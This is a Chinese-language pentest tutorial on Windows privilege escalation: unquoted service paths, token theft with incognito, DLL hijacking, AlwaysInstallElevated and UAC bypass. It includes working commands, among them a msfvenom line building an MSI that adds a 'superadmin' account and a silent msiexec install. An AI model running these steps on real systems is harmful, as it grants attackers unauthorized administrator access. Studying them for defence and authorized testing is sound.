Windows下常见提权方式

服务路径

漏洞复现
1.搜索存在问题路径

1
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

2.当存在空格时,会产生如下调用

1
2
C:\Vuln Service\execute.exe
C:\Vuln.exe

原理为windows无法识别空格的含义,因此会进行程序搜索

3.编写恶意程序Vuln.exe,放入C:\下

1
sc start "Vuln Service"

即可触发,但存在以下问题,自行添加的服务无法启动
实际利用过程中会有诸多限制,如目录的权限,服务无法自启动等,较为鸡肋

令牌提权

渗透技巧-Token窃取与利用

首先关于令牌的概述如下

  • Delegation token(授权令牌):用于交互会话登录(例如本地用户直接登录、远程桌面登录
  • Impersonation token(模拟令牌):用于非交互登录(利用net use访问共享文件夹)

通过incognito这个工具,可以实现token的列举以及盗窃

1
incognito.exe list_tokens -u

1
incognito.exe execute -c "hacker/administrator" cmd.exe

在实际利用的过程中,会通过窃取令牌创建进程,以下为incognito的具体调用

1
create_process(token_list[i].token, command, console_mode, SecurityDelegation);

DLL劫持

DLL劫持科普

DLL劫持漏洞自动化识别工具Rattler测试

DLL劫持的核心原理在于DLL路径搜索,调用LoadLibary会从以下目录搜索DLL文件

1
2
3
4
5
6
1.程序所在目录。
2.加载 DLL 时所在的当前目录。
3.系统目录即 SYSTEM32 目录。
4.16位系统目录即 SYSTEM 目录。
5.Windows目录。
6.PATH环境变量中列出的目录

比如a.exe加载了系统的kernel32.dll,如果在a.exe同级目录下生成恶意的kernel32.dll即可造成恶意利用,然而由于kernel32.dll在注册表KnownDlls中,无法利用

微软为了更进一步的防御系统的DLL被劫持,将一些容易被劫持的系统DLL写进了一个注册表项中,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用

AlwaysInstallElevated

AlwaysInstallElevated是注册表配置

1
2
3
4
5
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001

设置或开启该注册表后,允许普通用户以system权限安装msi,通过msf生成恶意msi

1
2
msfvenom -p windows/adduser USER=superadmin PASS=supersuper -f msi -o supper.msi

通过在普通用户下执行该msi,可生成Administrator权限用户

1
2
msiexec /quiet /qn /i super.msi

在实际利用过程中,该注册表项默认为0或不存在,因此较为鸡肋

BypassUAC

UAC(User Account Control,用户帐户控制)是微软为提高系统安全而在Windows Vista中引入的新技术,它要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限或管理密码。也就是说一旦用户允许启动的应用程序通过UAC验证,那么这个程序也就有了管理员权限。如果我们通过某种方式劫持了通过用户UAC验证的程序,那么相应的我们的程序也就实现了提权的过程。

首先安装对应版本的ProcessMonitor
运行ProcessMonitor,打开某需要UAC认证的程序,通过filter过滤出进程的DLL文件访问情况

1
2
Process Name is install.exe
1
2
Path contains localdir
1
Result is NAME NOT FOUND

以上三个filter,可以发现程序中尝试在本地加载但是本地不存在的dll,通过在同级目录生成对应的dll文件,即可劫持。